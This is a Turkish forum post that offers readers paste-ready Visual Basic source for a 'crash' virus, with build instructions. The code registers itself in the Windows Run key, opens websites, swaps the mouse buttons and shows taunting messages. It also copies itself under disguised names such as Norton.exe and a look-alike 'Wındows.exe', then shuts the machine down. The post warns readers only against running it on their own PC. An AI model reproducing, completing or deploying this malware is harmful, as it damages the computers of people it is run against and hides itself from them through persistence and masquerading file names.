1881 ⁓ 193∞
Seçkin Üye
Herkese merhaba dostlar. Bugün bir sitede bulduğum çökerme kodunu sizlere sunacağım. Öncelikle bu vereceğim kod tehlikelidir kesinlikle siz kullanmayayın. Kodu editleyin anca açmadığınız takdirde problem yok ama açtığınız anda bilgisayarınız formatlık duruma gelecek söyleyeyim ben. Tekrar söylüyorum SİZ AÇMAYIN sadece editleyin. Kodun amacını kod satırlarında anlattım.
Virüsün çalışması için .exe gerekli. Exe'yi oluşturmak için ise Debug etmeniz gerek ancak çökertme kodu olduğu için PC formatlık olacaktır.
O yüzden Üst sekmeden "Build" e basıp "Build SeninProjeninAdın" bölümüne tıkla.
Örnek resim:
ASLA kendi bilgisayarınız da çalıştırmayın!
Bu kodun sorumluluğu kullandığınız andan itibaren sizdedir. Size zorla kullanın demiyorum!
ÖRNEK KOD SATIRI (Direk Projeye Yapıştırabilirsiniz.)
Visual Basic:
Imports Microsoft.Win32
Public Class Form1
' Açılışa ekleme fonksiyonu (DEĞİŞTİRMEYİN)
Private Sub AddCurrentKey(ByVal name As String, ByVal path As String)
Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
key.SetValue(name, path)
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
'Load olurken regedite ekliyor ve PC her açıldığında çalışıyor. (DEĞİŞTİRME)
AddCurrentKey("exenin_Adı", System.Reflection.Assembly.GetEntryAssembly.Location) 'exenin_Adı kısmını Projedeki exe adı neyse onu yazın. Örneğin virüs.exe ise virüs yazın. (DEĞİŞTİRME)
'Bu bölüm de istediğiniz 5 site açılır
Process.Start("http://istediginsite.com")
Process.Start("http://istediginsite.com")
Process.Start("http://istediginsite.com")
Process.Start("http://istediginsite.com")
Process.Start("http://istediginsite.com")
'EĞLENCELİ ŞEYLER .D
Shell("ALSNDMGR.wav", 0) 'bu satırda windows baslangıç müziği çalışır "0"parametresi media playeri gizler
Shell("RUNDLL32 USER32.DLL,SwapMouseButton") 'bu satırda mousenin yeri değişir yani sol tık sağ olur sağ tık sol olur .d
'msgboxda mesaj verir
MsgBox("Lütfen yaralarıma pansuman yap", vbInformation, "HBS")
MsgBox("Lütfen çok acıyo", vbInformation, "HBS")
MsgBox("Windows HBS uyarısı buludu.Çözüm bulunursa size bildirilecek.", vbInformation, "HBS")
'formgizlenir
Me.Hide()
've kendini farklı isimlerde kopyalar
FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\Program Files\Norton.exe")
FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\Program Files\InnocentFile.exe")
FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\Program Files\Wındows.exe")
FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\WINDOWS\System32\MSN Live.exe")
'PC Kapatma
MsgBox("Kendine cici baak .d", vbInformation, "OPSS")
Shell (“shutdown -s -t 1″)
End Sub
End Class
Son düzenleme:
